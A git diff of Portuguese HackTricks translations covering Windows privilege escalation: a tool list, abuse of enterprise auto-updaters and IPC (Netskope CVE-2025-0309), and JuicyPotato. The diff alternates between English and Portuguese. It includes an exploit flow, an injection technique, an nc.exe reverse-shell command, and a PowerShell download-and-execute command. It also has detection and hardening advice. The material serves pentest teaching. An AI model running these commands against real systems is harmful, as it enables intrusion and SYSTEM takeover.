[**JAWS**](https://github.com/411Hall/JAWS) **-- Verifica algumas possíveis misconfigurações e coleta informações (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifica misconfigurações**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrai informações de sessão salvas do PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Use -Thorough localmente.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrai credenciais do Credential Manager. Detectado.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Faz spray com senhas coletadas pelo domínio**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh é uma ferramenta PowerShell de spoofing ADIDNS/LLMNR/mDNS/NBNS e man-in-the-middle.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeração básica de privesc no Windows**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Procura por vulnerabilidades de privesc conhecidas (DEPRECATED for Watson)\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifica por misconfigurações**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrai informações de sessões salvas do PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Use -Thorough localmente.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrai credenciais do Credential Manager. Detected.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Executa password spray com senhas coletadas no domínio**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh é um spoofer ADIDNS/LLMNR/mDNS/NBNS em PowerShell e ferramenta man-in-the-middle.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeração básica para privesc no Windows**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **~~**~~ -- Procura por vulnerabilidades conhecidas de privesc (DESCONTINUADO para Watson)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Verificações locais **(Precisa de privilégios de Admin)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Procura por vulnerabilidades de privesc conhecidas (precisa ser compilado usando VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera o host buscando por misconfigurações (mais uma ferramenta de coleta de informação do que privesc) (precisa ser compilado) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Procura por vulnerabilidades conhecidas de privesc (precisa ser compilado usando o VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera o host procurando por misconfigurações (mais uma ferramenta de coleta de informações do que privesc) (precisa ser compilado) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrai credenciais de muitos softwares (exe pré-compilado no github)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port de PowerUp para C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Verifica misconfigurações (executável pré-compilado no github). Não recomendado. Não funciona bem no Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Verifica possíveis misconfigurações (exe a partir de python). Não recomendado. Não funciona bem no Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **~~**~~ -- Verifica por misconfigurações (executável pré-compilado no github). Não recomendado. Não funciona bem no Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Verifica possíveis misconfigurações (exe gerado a partir de python). Não recomendado. Não funciona bem no Win10. **Bat** @@ -1642,14 +1646,14 @@ Se você conseguir **hijack uma dll** sendo **loaded** por um **process** execut **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lê a saída de **systeminfo** e recomenda exploits que funcionam (python local)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lê a saída de **systeminfo** e recomenda exploits que funcionam (python local) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lê a saída de **systeminfo** e recomenda exploits funcionais (python local)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lê a saída de **systeminfo** e recomenda exploits funcionais (python local) **Meterpreter** _multi/recon/local_exploit_suggestor_ -You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do: +You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Para ver a versão do .NET instalada na máquina vítima você pode fazer: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md index 4a094d8df..61d6ac78a 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -1,18 +1,18 @@ -# Abusando de Auto-Updaters Empresariais e IPC Privilegiado (e.g., Netskope stAgentSvc) +# Abusando de Auto-Atualizadores Empresariais e IPC Privilegiado (por exemplo, Netskope stAgentSvc) {{#include ../../banners/hacktricks-training.md}} -Esta página generaliza uma classe de Windows local privilege escalation chains encontradas em agentes de endpoint empresariais e updaters que expõem uma superfície de IPC de baixa fricção e um fluxo de atualização privilegiado. Um exemplo representativo é o Netskope Client for Windows < R129 (CVE-2025-0309), onde um usuário com poucos privilégios pode forçar o enrollment em um servidor controlado pelo atacante e então entregar um MSI malicioso que o serviço SYSTEM instala. +Esta página generaliza uma classe de cadeias de elevação de privilégio local no Windows encontradas em agentes de endpoint e updaters empresariais que expõem uma superfície IPC de baixa fricção e um fluxo de atualização privilegiado. Um exemplo representativo é Netskope Client for Windows < R129 (CVE-2025-0309), onde um usuário de baixo privilégio pode coercir o enrollment para um servidor controlado pelo atacante e então entregar um MSI malicioso que o serviço SYSTEM instala. -Ideias-chave reutilizáveis contra produtos similares: +Ideias-chave que você pode reutilizar contra produtos similares: - Abusar do localhost IPC de um serviço privilegiado para forçar re‑enrollment ou reconfiguração para um servidor do atacante. -- Implementar os endpoints de update do vendor, entregar um rogue Trusted Root CA, e apontar o updater para um pacote malicioso “assinado”. -- Evadir verificações de signer fracas (CN allow‑lists), flags de digest opcionais, e propriedades relaxadas de MSI. -- Se o IPC for “encrypted”, derivar a key/IV a partir de identificadores da máquina legíveis globalmente armazenados no registry. -- Se o serviço restringe callers por image path/process name, injetar em um processo allow‑listed ou spawnar um suspenso e bootstrapar sua DLL via um patch mínimo de thread‑context. +- Implementar os endpoints de update do fornecedor, entregar uma Trusted Root CA maliciosa e apontar o updater para um pacote malicioso “assinado”. +- Evadir verificações de signer fracas (CN allow‑lists), flags de digest opcionais e propriedades MSI laxas. +- Se o IPC for “encrypted”, derivar key/IV a partir de identificadores de máquina legíveis pelo mundo armazenados no registry. +- Se o serviço restringir callers por image path/process name, injetar em um processo allow‑listed ou spawnar um suspenso e bootstrapar sua DLL via um patch mínimo de thread‑context. --- -## 1) Forçando o enrollment para um servidor do atacante via localhost IPC +## 1) Forçando enrollment para um servidor atacante via localhost IPC Muitos agentes incluem um processo UI em user‑mode que conversa com um serviço SYSTEM via localhost TCP usando JSON. @@ -21,8 +21,8 @@ Observado no Netskope: - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN Exploit flow: -1) Craft um JWT enrollment token cujas claims controlam o backend host (e.g., AddonUrl). Use alg=None para que nenhuma assinatura seja requerida. -2) Send the IPC message invoking the provisioning command with your JWT and tenant name: +1) Crie um token JWT de enrollment cujas claims controlam o host backend (por exemplo, AddonUrl). Use alg=None para que nenhuma assinatura seja necessária. +2) Envie a mensagem IPC invocando o comando de provisioning com seu JWT e o nome do tenant: ```json { "148": { @@ -31,91 +31,91 @@ Exploit flow: } } ``` -3) O serviço começa a acessar seu servidor rogue para enrollment/config, por exemplo: +3) O serviço começa a contatar seu servidor malicioso para enrollment/config, por exemplo: - /v1/externalhost?service=enrollment - /config/user/getbrandingbyemail Notas: -- Se a verificação do chamador for baseada em caminho/nome, origine a requisição a partir de um allow‑listed vendor binary (veja §4). +- Se a verificação do caller for baseada em caminho/nome, origine a requisição a partir de um binário de fornecedor autorizado (veja §4). --- -## 2) Hijacking the update channel to run code as SYSTEM +## 2) Sequestrando o canal de atualização para executar código como SYSTEM -Uma vez que o cliente se comunique com seu servidor, implemente os endpoints esperados e direcione-o para um MSI malicioso. Sequência típica: +Uma vez que o cliente conversa com seu servidor, implemente os endpoints esperados e direcione-o para um MSI do atacante. Sequência típica: -1) /v2/config/org/clientconfig → Retornar configuração JSON com um intervalo do updater muito curto, por exemplo: +1) /v2/config/org/clientconfig → Retornar config JSON com um intervalo de atualização muito curto, por exemplo: ```json { "clientUpdate": { "updateIntervalInMin": 1 }, "check_msi_digest": false } ``` -2) /config/ca/cert → Retorna um certificado CA em PEM. O serviço o instala no Local Machine Trusted Root store. -3) /v2/checkupdate → Fornece metadata apontando para um MSI malicioso e uma versão falsa. +2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store. +3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version. -Bypassando verificações comuns observadas na prática: -- Signer CN allow‑list: o serviço pode checar apenas se o Subject CN é “netSkope Inc” ou “Netskope, Inc.”. Sua CA maliciosa pode emitir um leaf com esse CN e assinar o MSI. -- CERT_DIGEST property: inclua uma propriedade MSI benigno chamada CERT_DIGEST. Não há enforcement na instalação. -- Optional digest enforcement: flag de config (por exemplo, check_msi_digest=false) desativa validação criptográfica adicional. +Bypassing common checks seen in the wild: +- Signer CN allow‑list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI. +- CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install. +- Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation. -Resultado: o serviço SYSTEM instala seu MSI de +Result: the SYSTEM service installs your MSI from C:\ProgramData\Netskope\stAgent\data\*.msi -executando código arbitrário como NT AUTHORITY\SYSTEM. +executing arbitrary code as NT AUTHORITY\SYSTEM. --- ## 3) Forging encrypted IPC requests (when present) -A partir do R127, Netskope envolveu o JSON de IPC em um campo encryptData que parece Base64. Reversing mostrou AES com key/IV derivado de valores do registry legíveis por qualquer usuário: +From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user: - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew - IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID -Atacantes podem reproduzir a encriptação e enviar comandos encriptados válidos a partir de um usuário padrão. Dica geral: se um agente subitamente “encriptar” seu IPC, procure device IDs, product GUIDs, install IDs em HKLM como material. +Attackers can reproduce encryption and send valid encrypted commands from a standard user. General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material. --- ## 4) Bypassing IPC caller allow‑lists (path/name checks) -Alguns serviços tentam autenticar o peer resolvendo o PID da conexão TCP e comparando o image path/name contra binários allow‑listados do vendor localizados em Program Files (por exemplo, stagentui.exe, bwansvc.exe, epdlp.exe). +Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow‑listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe). -Dois bypasses práticos: -- DLL injection em um processo allow‑listado (ex.: nsdiag.exe) e proxy do IPC internamente. -- Spawn de um binário allow‑listado em suspended e bootstrap da sua proxy DLL sem CreateRemoteThread (see §5) para satisfazer regras de tamper impostas pelo driver. +Two practical bypasses: +- DLL injection into an allow‑listed process (e.g., nsdiag.exe) and proxy IPC from inside it. +- Spawn an allow‑listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver‑enforced tamper rules. --- ## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch -Produtos frequentemente incluem um minifilter/OB callbacks driver (ex.: Stadrv) para remover direitos perigosos de handles para processos protegidos: -- Process: remove PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME -- Thread: restringe para THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE +Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes: +- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME +- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE -Um loader user‑mode confiável que respeita essas restrições: -1) CreateProcess de um binário do vendor com CREATE_SUSPENDED. -2) Obtenha handles que ainda são permitidos: PROCESS_VM_WRITE | PROCESS_VM_OPERATION no processo, e um handle de thread com THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ou apenas THREAD_RESUME se você patchar código em um RIP conhecido). -3) Sobrescreva ntdll!NtContinue (ou outro thunk inicial garantido mapeado) com um pequeno stub que chama LoadLibraryW no caminho da sua DLL, depois retorna. -4) ResumeThread para acionar seu stub in‑process, carregando sua DLL. +A reliable user‑mode loader that respects these constraints: +1) CreateProcess of a vendor binary with CREATE_SUSPENDED. +2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP). +3) Overwrite ntdll!NtContinue (or other early, guaranteed‑mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back. +4) ResumeThread to trigger your stub in‑process, loading your DLL. -Porque você nunca usou PROCESS_CREATE_THREAD ou PROCESS_SUSPEND_RESUME em um processo já protegido (você o criou), a política do driver é satisfeita. +Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already‑protected process (you created it), the driver’s policy is satisfied. --- ## 6) Practical tooling -- NachoVPN (Netskope plugin) automatiza uma rogue CA, assinatura de MSI malicioso, e serve os endpoints necessários: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. -- UpSkope é um IPC client custom que cria mensagens IPC arbitrárias (opcionalmente AES‑encriptadas) e inclui a injeção por processo suspenso para originar de um binário allow‑listado. +- NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope is a custom IPC client that crafts arbitrary (optionally AES‑encrypted) IPC messages and includes the suspended‑process injection to originate from an allow‑listed binary. --- ## 7) Detection opportunities (blue team) -- Monitorar adições ao Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) funciona bem. -- Sinalizar execuções de MSI iniciadas pelo serviço do agente a partir de paths como C:\ProgramData\\\data\*.msi. -- Revisar logs do agente por hosts/tenants de enrollment inesperados, ex.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – procure por addonUrl / tenant anomalies e provisioning msg 148. -- Alertar sobre clientes IPC localhost que não sejam os binários assinados esperados, ou que se originem de árvores de processos filhas incomuns. +- Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well. +- Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData\\\data\*.msi. +- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148. +- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees. --- ## Hardening tips for vendors -- Vincular hosts de enrollment/update a uma allow‑list estrita; rejeitar domínios não confiáveis no clientcode. -- Autenticar peers de IPC com primitives do OS (ALPC security, named‑pipe SIDs) em vez de checks por image path/name. -- Manter material secreto fora de HKLM legível por todos; se o IPC precisar ser encriptado, derivar chaves de segredos protegidos ou negociar em canais autenticados. -- Tratar o updater como superfície da supply‑chain: exigir uma cadeia completa até uma CA confiável que você controla, verificar assinaturas de pacotes contra chaves pinned, e fail closed se a validação estiver desabilitada na config. +- Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode. +- Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks. +- Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels. +- Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config. ## References -- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) +- [Aviso – Netskope Client for Windows – Elevação de Privilégios Local via Servidor malicioso (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) - [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) - [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) - [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 6c55ed9b3..6647380b2 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,25 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > JuicyPotato é legacy. Geralmente funciona em versões do Windows até o Windows 10 1803 / Windows Server 2016. Mudanças da Microsoft enviadas a partir do Windows 10 1809 / Server 2019 quebraram a técnica original. Para essas builds e posteriores, considere alternativas modernas como PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato e outras. Veja a página abaixo para opções e uso atualizados. +> [!WARNING] > JuicyPotato é legacy. Geralmente funciona em versões do Windows até Windows 10 1803 / Windows Server 2016. Alterações da Microsoft entregues a partir do Windows 10 1809 / Server 2019 quebraram a técnica original. Para essas builds e mais recentes, considere alternativas modernas como PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato e outras. Veja a página abaixo para opções e uso atualizados. {{#ref}} roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (abusando dos golden privileges) +## Juicy Potato (abusando dos privilégios dourados) -_Uma versão adoçada de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, com um pouco de juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ +_Uma versão adoçada de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, com um pouco de suco, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ #### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) ### Notas rápidas de compatibilidade -- Funciona de forma confiável até o Windows 10 1803 e Windows Server 2016 quando o contexto atual tem SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege. -- Quebrado por Microsoft hardening no Windows 10 1809 / Windows Server 2019 e posteriores. Prefira as alternativas linkadas acima para essas builds. +- Funciona de forma confiável até Windows 10 1803 e Windows Server 2016 quando o contexto atual possui SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege. +- Quebrado pelo hardening da Microsoft no Windows 10 1809 / Windows Server 2019 e posteriores. Prefira as alternativas ligadas acima para essas builds. -### Resumo +### Summary [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** @@ -30,32 +30,32 @@ We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenP > For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references. -We discovered that, other than `BITS` there are a several COM servers we can abuse. They just need to: +Descobrimos que, além do `BITS`, existem vários COM servers que podemos abusar. Eles só precisam: -1. ser instanciável pelo usuário atual, normalmente um “service user” que tem impersonation privileges +1. ser instanciáveis pelo usuário atual, normalmente um “service user” que tem privilégios de impersonation 2. implementar a interface `IMarshal` -3. executar como um usuário elevado (SYSTEM, Administrator, …) +3. rodar como um usuário elevado (SYSTEM, Administrator, …) -After some testing we obtained and tested an extensive list of [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions. +Após alguns testes obtivemos e testamos uma lista extensa de [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) em várias versões do Windows. -### Detalhes suculentos +### Juicy details JuicyPotato permite que você: -- **Target CLSID** _escolha qualquer CLSID que desejar._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _você pode encontrar a lista organizada por OS._ -- **COM Listening port** _defina a COM listening port que preferir (instead of the marshalled hardcoded 6666)_ -- **COM Listening IP address** _bind the server on any IP_ -- **Process creation mode** _dependendo dos privilégios do usuário impersonado você pode escolher entre:_ +- **CLSID alvo** _escolha qualquer CLSID que desejar._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _você pode encontrar a lista organizada por OS._ +- **COM Listening port** _defina a porta de escuta COM que preferir (em vez do 6666 hardcoded usado no marshalled)_ +- **COM Listening IP address** _vincule o servidor a qualquer IP_ +- **Modo de criação de processo** _dependendo dos privilégios do usuário impersonado você pode escolher entre:_ - `CreateProcessWithToken` (needs `SeImpersonate`) - `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) - `both` -- **Process to launch** _inicie um executável ou script se a exploração tiver sucesso_ -- **Process Argument** _personalize os argumentos do processo iniciado_ -- **RPC Server address** _para uma abordagem stealthy você pode autenticar em um servidor RPC externo_ +- **Process to launch** _inicie um executável ou script se a exploração for bem-sucedida_ +- **Process Argument** _personalize os argumentos do processo lançado_ +- **RPC Server address** _para uma abordagem stealth você pode autenticar em um servidor RPC externo_ - **RPC Server port** _útil se você quiser autenticar em um servidor externo e o firewall estiver bloqueando a porta `135`…_ -- **TEST mode** _principalmente para fins de teste, i.e. testando CLSIDs. Cria o DCOM e imprime o usuário do token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) +- **TEST mode** _principalmente para fins de teste, i.e. testar CLSIDs. Cria o DCOM e imprime o usuário do token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) -### Uso +### Usage ``` T:\>JuicyPotato.exe JuicyPotato v0.1 @@ -76,11 +76,11 @@ Optional args: [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** -Se o usuário tem privilégios `SeImpersonate` ou `SeAssignPrimaryToken` então você é **SYSTEM**. +Se o usuário tiver privilégios `SeImpersonate` ou `SeAssignPrimaryToken` então você é **SYSTEM**. É quase impossível prevenir o abuso de todos esses COM Servers. Você pode pensar em modificar as permissões desses objetos via `DCOMCNFG`, mas boa sorte, isso vai ser desafiador. -A solução real é proteger contas sensíveis e aplicações que rodam sob as contas `* SERVICE`. Parar `DCOM` certamente inibiria esse exploit, mas poderia ter um impacto sério no OS subjacente. +A solução real é proteger contas sensíveis e aplicações que rodam sob as contas `* SERVICE`. Parar o `DCOM` certamente impediria esse exploit, mas poderia ter um impacto sério no sistema operacional subjacente. From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) @@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # -s Scan for a COM port not filtered by Windows Defender Firewall # -i Interactive console (only with CreateProcessAsUser) ``` -Se você estiver visando Windows 10 1809 / Server 2019 onde o JuicyPotato clássico foi corrigido, prefira as alternativas listadas no topo (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG pode ser situacional dependendo da build e do estado do serviço. +Se você estiver direcionando Windows 10 1809 / Server 2019 onde o classic JuicyPotato foi corrigido, prefira as alternativas mencionadas no topo (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG pode ser situacional dependendo da build e do estado do serviço. ## Exemplos -Nota: Visite [esta página](https://ohpe.it/juicy-potato/CLSID/) para uma lista de CLSIDs para tentar. +Nota: Visite [esta página](https://ohpe.it/juicy-potato/CLSID/) para uma lista de CLSIDs para testar. -### Obter um nc.exe reverse shell +### Obter um reverse shell (nc.exe) ``` c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * @@ -122,31 +122,31 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337 c:\Users\Public> ``` -### Powershell reverso +### Powershell rev ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` -### Launch a new CMD (if you have RDP access) +### Iniciar um novo CMD (se você tiver acesso RDP) ![](<../../images/image (300).png>) ## Problemas de CLSID -Frequentemente, o CLSID padrão que o JuicyPotato usa **não funciona** e o exploit falha. Normalmente, são necessárias várias tentativas para encontrar um **CLSID que funcione**. Para obter uma lista de CLSIDs para tentar em um sistema operacional específico, você deve visitar esta página: +Frequentemente, o CLSID padrão que o JuicyPotato usa **não funciona** e o exploit falha. Normalmente, são necessárias múltiplas tentativas para encontrar um **CLSID funcional**. Para obter uma lista de CLSIDs para tentar em um sistema operacional específico, você deve visitar esta página: - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) ### **Verificando CLSIDs** -Primeiro, você precisará de alguns executáveis além do juicypotato.exe. +Primeiro, você vai precisar de alguns executáveis além do juicypotato.exe. -Faça o download de [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) e carregue-o na sua sessão PS, e baixe e execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Esse script criará uma lista de possíveis CLSIDs para testar. +Download [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) e carregue-o na sua sessão PS, e faça o download e execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Esse script criará uma lista de possíveis CLSIDs para testar. -Em seguida, baixe [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (altere o caminho para a lista de CLSID e para o executável juicypotato) e execute-o. Ele começará a testar cada CLSID e **quando o número da porta mudar, significará que o CLSID funcionou**. +Em seguida, baixe [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(altere o caminho para a lista de CLSID e para o executável juicypotato) e execute-o. Ele começará a testar cada CLSID, e **quando o número da porta mudar, isso significará que o CLSID funcionou**. -**Verifique** os CLSIDs que funcionaram **usando o parâmetro -c** +**Verifique** os CLSIDs funcionais **usando o parâmetro -c** -## References +## Referências - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) - [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)